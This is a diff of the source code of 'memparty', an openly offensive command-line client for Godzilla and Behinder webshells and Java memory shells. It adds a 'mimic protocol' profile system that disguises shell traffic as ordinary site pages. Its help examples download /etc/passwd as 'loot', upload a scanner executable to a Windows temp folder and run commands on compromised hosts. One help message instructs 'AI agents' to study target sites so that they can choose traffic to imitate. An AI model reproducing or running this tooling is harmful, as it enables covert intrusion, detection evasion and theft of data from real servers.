).action(async (base64, opts, cmd) => {
|
|
3286
3919
|
let classBase64;
|
|
3287
3920
|
if (opts.file) {
|
|
3288
|
-
classBase64 =
|
|
3921
|
+
classBase64 = readFileSync8(opts.file).toString("base64");
|
|
3289
3922
|
} else if (base64) {
|
|
3290
3923
|
classBase64 = base64.trim();
|
|
3291
3924
|
} else {
|
|
@@ -3490,6 +4123,88 @@ The server name reported by '-c Server' is the value to pass as
|
|
|
3490
4123
|
});
|
|
3491
4124
|
}
|
|
3492
4125
|
|
|
4126
|
+
// src/commands/profile.ts
|
|
4127
|
+
function registerProfileCommand(program) {
|
|
4128
|
+
const cmd = program.command("profile").description("Manage site profiles for the mimic protocol (init / list / show / check)");
|
|
4129
|
+
cmd.command("init").description("Write a skeleton profile JSON for hand-authoring").argument("<name>", "profile name (letters, digits, '.', '_', '-')").requiredOption("--site <origin>", "site origin, e.g. http://target:8080").option("--json", "output raw JSON").action((name, opts) => {
|
|
4130
|
+
try {
|
|
4131
|
+
const profile = profileSkeleton(name, opts.site);
|
|
4132
|
+
saveProfile(profile);
|
|
4133
|
+
if (opts.json) {
|
|
4134
|
+
process.stdout.write(`${JSON.stringify({ ok: true, ...profile }, null, 2)}
|
|
4135
|
+
`);
|
|
4136
|
+
} else {
|
|
4137
|
+
process.stdout.write(
|
|
4138
|
+
`profile skeleton written -> ${profilePath(name)}
|
|
4139
|
+
now edit it: paste a real page's HTML into "template", set "title",
|
|
4140
|
+
and fill "paths" with the site's path vocabulary (e.g. ["/api/", "/news/"]).
|
|
4141
|
+
AI agents: read the site's pages yourself and pick a high-traffic,
|
|
4142
|
+
self-contained page \u2014 see the "Site-mimicking traffic (mimic protocol)"
|
|
4143
|
+
section of the memshell-party skill.
|
|
4144
|
+
`
|
|
4145
|
+
);
|
|
4146
|
+
}
|
|
4147
|
+
} catch (err) {
|
|
4148
|
+
reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
|
|
4149
|
+
process.exitCode = 1;
|
|
4150
|
+
}
|
|
4151
|
+
});
|
|
4152
|
+
cmd.command("list").description("List saved profiles").option("--json", "output raw JSON").action((opts) => {
|
|
4153
|
+
const names = listProfiles();
|
|
4154
|
+
if (opts.json) {
|
|
4155
|
+
process.stdout.write(`${JSON.stringify({ profiles: names }, null, 2)}
|
|
4156
|
+
`);
|
|
4157
|
+
} else {
|
|
4158
|
+
process.stdout.write(names.length > 0 ? `${names.join("\n")}
|
|
4159
|
+
` : "(no profiles yet)\n");
|
|
4160
|
+
}
|
|
4161
|
+
});
|
|
4162
|
+
cmd.command("show").description("Print a saved profile").argument("<name>", "profile name").option("--json", "output raw JSON (default)").action((name) => {
|
|
4163
|
+
try {
|
|
4164
|
+
const profile = loadProfile(name);
|
|
4165
|
+
process.stdout.write(`${JSON.stringify(profile, null, 2)}
|
|
4166
|
+
`);
|
|
4167
|
+
} catch (err) {
|
|
4168
|
+
reportError(err instanceof Error ? err.message : String(err), []);
|
|
4169
|
+
process.exitCode = 1;
|
|
4170
|
+
}
|
|
4171
|
+
});
|
|
4172
|
+
cmd.command("check").description("Validate a saved profile (schema + basic sanity), exit 0 when valid").argument("<name>", "profile name").option("--json", "output raw JSON").addHelpText(
|
|
4173
|
+
"after",
|
|
4174
|
+
`
|
|
4175
|
+
Examples:
|
|
4176
|
+
$ memparty profile check acme
|
|
4177
|
+
$ memparty profile check acme --json
|
|
4178
|
+
`
|
|
4179
|
+
).action((name, opts) => {
|
|
4180
|
+
try {
|
|
4181
|
+
const profile = loadProfile(name);
|
|
4182
|
+
if (opts.json) {
|
|
4183
|
+
process.stdout.write(`${JSON.stringify({ ok: true, name }, null, 2)}
|
|
4184
|
+
`);
|
|
4185
|
+
} else {
|
|
4186
|
+
const templates = profileTemplates(profile);
|
|
4187
|
+
const lines = templates.map(
|
|
4188
|
+
(t, i) => ` tpl[${i}]: ${t.template.length} bytes (${t.contentType}) ${t.title || "(no title)"}`
|
|
4189
|
+
);
|
|
4190
|
+
const shapes = profileRequests(profile).map((r) => `${r.secretField}${r.secretIn && r.secretIn !== "body" ? ` (${r.secretIn})` : ""}`).join(", ");
|
|
4191
|
+
const requestLine = shapes ? ` request: ${shapes}
|
|
4192
|
+
` : "";
|
|
4193
|
+
process.stdout.write(
|
|
4194
|
+
`profile '${name}' is valid
|
|
4195
|
+
site: ${profile.site}
|
|
4196
|
+
${lines.join("\n")}
|
|
4197
|
+
` + requestLine + ` paths: ${profile.paths.join(" ") || "(none \u2014 --dynamic-path will be a no-op)"}
|
|
4198
|
+
`
|
|
4199
|
+
);
|
|
4200
|
+
}
|
|
4201
|
+
} catch (err) {
|
|
4202
|
+
reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
|
|
4203
|
+
process.exitCode = 1;
|
|
4204
|
+
}
|
|
4205
|
+
});
|
|
4206
|
+
}
|
|
4207
|
+
|
|
3493
4208
|
// src/commands/target.ts
|
|
3494
4209
|
import { Option as Option6 } from "commander";
|
|
3495
4210
|
function parseExtraHeaders3(lines) {
|
|
@@ -3546,11 +4261,11 @@ function registerTargetCommand(program) {
|
|
|
3546
4261
|
"after",
|
|
3547
4262
|
`
|
|
3548
4263
|
Examples:
|
|
3549
|
-
$ memparty save
|
|
3550
|
-
-t behinder --pass rebeyond --header-name User-Agent --header-value
|
|
4264
|
+
$ memparty save web1/bh9060 -u http://192.0.2.10:9060/console/service \\
|
|
4265
|
+
-t behinder --pass rebeyond --header-name User-Agent --header-value my-secret-token \\
|
|
3551
4266
|
--remark "\u5185\u7F51\u6D4B\u8BD5\u73AF\u5883" --category test
|
|
3552
4267
|
$ memparty list # show saved targets
|
|
3553
|
-
$ memparty exec
|
|
4268
|
+
$ memparty exec web1/bh9060 --cmd "whoami"
|
|
3554
4269
|
|
|
3555
4270
|
Note: connect/exec already auto-save a verified shell as <host>/<tool>;
|
|
3556
4271
|
save is for choosing the name by hand.
|
|
@@ -3687,7 +4402,7 @@ save is for choosing the name by hand.
|
|
|
3687
4402
|
}
|
|
3688
4403
|
|
|
3689
4404
|
// src/commands/transfer.ts
|
|
3690
|
-
import { writeFileSync as
|
|
4405
|
+
import { writeFileSync as writeFileSync5 } from "fs";
|
|
3691
4406
|
import { Option as Option7 } from "commander";
|
|
3692
4407
|
function parseExtraHeaders4(lines) {
|
|
3693
4408
|
const headers = {};
|
|
@@ -3759,8 +4474,8 @@ function printResult(result, localPath, savedAs, json) {
|
|
|
3759
4474
|
}
|
|
3760
4475
|
}
|
|
3761
4476
|
function registerDownloadCommand(program) {
|
|
3762
|
-
program.command("download").description("Download a file from a deployed webshell
|
|
3763
|
-
new Option7("-t, --tool <tool>", "shell
|
|
4477
|
+
program.command("download").description("Download a file from a deployed webshell").argument("[name]", "saved target name (see 'memparty list')").argument("[remote]", "remote file path").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
|
|
4478
|
+
new Option7("-t, --tool <tool>", "shell protocol").choices(protocolNames("download"))
|
|
3764
4479
|
).option("-o, --output <file>", "local destination (a directory keeps the remote basename)").option("--force", "overwrite an existing local file").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").option(
|
|
3765
4480
|
"--remote-charset <label>",
|
|
3766
4481
|
"godzilla: charset for non-ASCII remote paths (e.g. GBK; default UTF-8)"
|
|
@@ -3775,7 +4490,7 @@ function registerDownloadCommand(program) {
|
|
|
3775
4490
|
`
|
|
3776
4491
|
Examples:
|
|
3777
4492
|
$ memparty download -u http://target/shell.jsp -t godzilla --pass pass --key key \\
|
|
3778
|
-
--header-value
|
|
4493
|
+
--header-value my-secret-token /etc/passwd -o loot-passwd
|
|
3779
4494
|
$ memparty download web222 C:\\Windows\\win.ini # saved target
|
|
3780
4495
|
$ memparty download web222 /var/log/app.log -o logs/ --json
|
|
3781
4496
|
|
|
@@ -3809,31 +4524,24 @@ is never overwritten unless --force is given.
|
|
|
3809
4524
|
return;
|
|
3810
4525
|
}
|
|
3811
4526
|
let result;
|
|
3812
|
-
|
|
3813
|
-
|
|
3814
|
-
|
|
3815
|
-
|
|
3816
|
-
conn.pass ?? "pass",
|
|
3817
|
-
conn.key ?? "key",
|
|
3818
|
-
remotePath,
|
|
3819
|
-
{ ...common, remoteCharset: opts.remoteCharset }
|
|
3820
|
-
);
|
|
3821
|
-
break;
|
|
3822
|
-
case "behinder":
|
|
3823
|
-
result = await downloadBehinder(conn.url, conn.pass ?? "rebeyond", remotePath, common);
|
|
3824
|
-
break;
|
|
3825
|
-
default:
|
|
3826
|
-
process.stderr.write(
|
|
3827
|
-
`Error: download supports godzilla | behinder (got ${String(conn.tool)})
|
|
3828
|
-
`
|
|
3829
|
-
);
|
|
4527
|
+
try {
|
|
4528
|
+
const protocol = requireProtocol(conn.tool);
|
|
4529
|
+
if (!protocol.download) {
|
|
4530
|
+
reportError(unsupportedMessage(protocol, "download"), opts.json ? ["--json"] : []);
|
|
3830
4531
|
process.exitCode = 1;
|
|
3831
4532
|
return;
|
|
4533
|
+
}
|
|
4534
|
+
const options = { remoteCharset: opts.remoteCharset };
|
|
4535
|
+
result = await protocol.download({ conn, common, options }, remotePath);
|
|
4536
|
+
} catch (err) {
|
|
4537
|
+
reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
|
|
4538
|
+
process.exitCode = 1;
|
|
4539
|
+
return;
|
|
3832
4540
|
}
|
|
3833
4541
|
let writeError;
|
|
3834
4542
|
if (result.ok && result.data !== void 0) {
|
|
3835
4543
|
try {
|
|
3836
|
-
|
|
4544
|
+
writeFileSync5(localPath, result.data);
|
|
3837
4545
|
} catch (err) {
|
|
3838
4546
|
writeError = `download succeeded but writing ${localPath} failed: ${err instanceof Error ? err.message : String(err)}`;
|
|
3839
4547
|
result = { ...result, ok: false, error: writeError };
|
|
@@ -3857,8 +4565,8 @@ is never overwritten unless --force is given.
|
|
|
3857
4565
|
});
|
|
3858
4566
|
}
|
|
3859
4567
|
function registerUploadCommand(program) {
|
|
3860
|
-
program.command("upload").description("Upload a local file to a deployed webshell
|
|
3861
|
-
new Option7("-t, --tool <tool>", "shell
|
|
4568
|
+
program.command("upload").description("Upload a local file to a deployed webshell").argument("[name]", "saved target name (see 'memparty list')").argument("[local]", "local file path").argument("[remote]", "remote destination path").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
|
|
4569
|
+
new Option7("-t, --tool <tool>", "shell protocol").choices(protocolNames("upload"))
|
|
3862
4570
|
).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key", "key").option(
|
|
3863
4571
|
"--remote-charset <label>",
|
|
3864
4572
|
"godzilla: charset for non-ASCII remote paths (e.g. GBK; default UTF-8)"
|
|
@@ -3873,7 +4581,7 @@ function registerUploadCommand(program) {
|
|
|
3873
4581
|
`
|
|
3874
4582
|
Examples:
|
|
3875
4583
|
$ memparty upload -u http://target/shell.jsp -t behinder --pass rebeyond \\
|
|
3876
|
-
--header-value
|
|
4584
|
+
--header-value my-secret-token fscan.exe C:\\Windows\\Temp\\f.exe
|
|
3877
4585
|
$ memparty upload web222 ./agent.jar /tmp/agent.jar --json
|
|
3878
4586
|
|
|
3879
4587
|
Upload overwrites the remote file (truncate + write). Integrity: godzilla
|
|
@@ -3908,27 +4616,19 @@ chunk aborts the transfer \u2014 the remote file may be left partial.
|
|
|
3908
4616
|
return;
|
|
3909
4617
|
}
|
|
3910
4618
|
let result;
|
|
3911
|
-
|
|
3912
|
-
|
|
3913
|
-
|
|
3914
|
-
|
|
3915
|
-
conn.pass ?? "pass",
|
|
3916
|
-
conn.key ?? "key",
|
|
3917
|
-
remotePath,
|
|
3918
|
-
data,
|
|
3919
|
-
{ ...common, remoteCharset: opts.remoteCharset }
|
|
3920
|
-
);
|
|
3921
|
-
break;
|
|
3922
|
-
case "behinder":
|
|
3923
|
-
result = await uploadBehinder(conn.url, conn.pass ?? "rebeyond", remotePath, data, common);
|
|
3924
|
-
break;
|
|
3925
|
-
default:
|
|
3926
|
-
process.stderr.write(
|
|
3927
|
-
`Error: upload supports godzilla | behinder (got ${String(conn.tool)})
|
|
3928
|
-
`
|
|
3929
|
-
);
|
|
4619
|
+
try {
|
|
4620
|
+
const protocol = requireProtocol(conn.tool);
|
|
4621
|
+
if (!protocol.upload) {
|
|
4622
|
+
reportError(unsupportedMessage(protocol, "upload"), opts.json ? ["--json"] : []);
|
|
3930
4623
|
process.exitCode = 1;
|
|
3931
4624
|
return;
|
|
4625
|
+
}
|
|
4626
|
+
const options = { remoteCharset: opts.remoteCharset };
|
|
4627
|
+
result = await protocol.upload({ conn, common, options }, remotePath, data);
|
|
4628
|
+
} catch (err) {
|
|
4629
|
+
reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
|
|
4630
|
+
process.exitCode = 1;
|
|
4631
|
+
return;
|
|
3932
4632
|
}
|
|
3933
4633
|
const savedAs = result.ok ? maybeAutoSave(conn, opts) : void 0;
|
|
3934
4634
|
logOp({
|
|
@@ -4093,7 +4793,7 @@ function buildProgram() {
|
|
|
4093
4793
|
Quick start:
|
|
4094
4794
|
$ memparty gen # interactive memory-shell wizard
|
|
4095
4795
|
$ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 -o shell.class
|
|
4096
|
-
$ memparty connect -u http://192.0.2.1/shell.jsp -t godzilla --header-value
|
|
4796
|
+
$ memparty connect -u http://192.0.2.1/shell.jsp -t godzilla --header-value my-secret-token
|
|
4097
4797
|
$ memparty exec 192.0.2.1/godzilla --cmd whoami # auto-saved by a successful connect
|
|
4098
4798
|
$ memparty download 192.0.2.1/godzilla /etc/passwd -o passwd
|
|
4099
4799
|
$ memparty list # saved targets
|
|
@@ -4112,6 +4812,8 @@ Every subcommand has its own examples: memparty <command> --help
|
|
|
4112
4812
|
registerTargetCommand(program);
|
|
4113
4813
|
registerLogCommand(program);
|
|
4114
4814
|
registerParseClassNameCommand(program);
|
|
4815
|
+
registerProfileCommand(program);
|
|
4816
|
+
registerDemoCommand(program);
|
|
4115
4817
|
registerVersionCommand(program);
|
|
4116
4818
|
registerMcpCommand(program);
|
|
4117
4819
|
return program;
|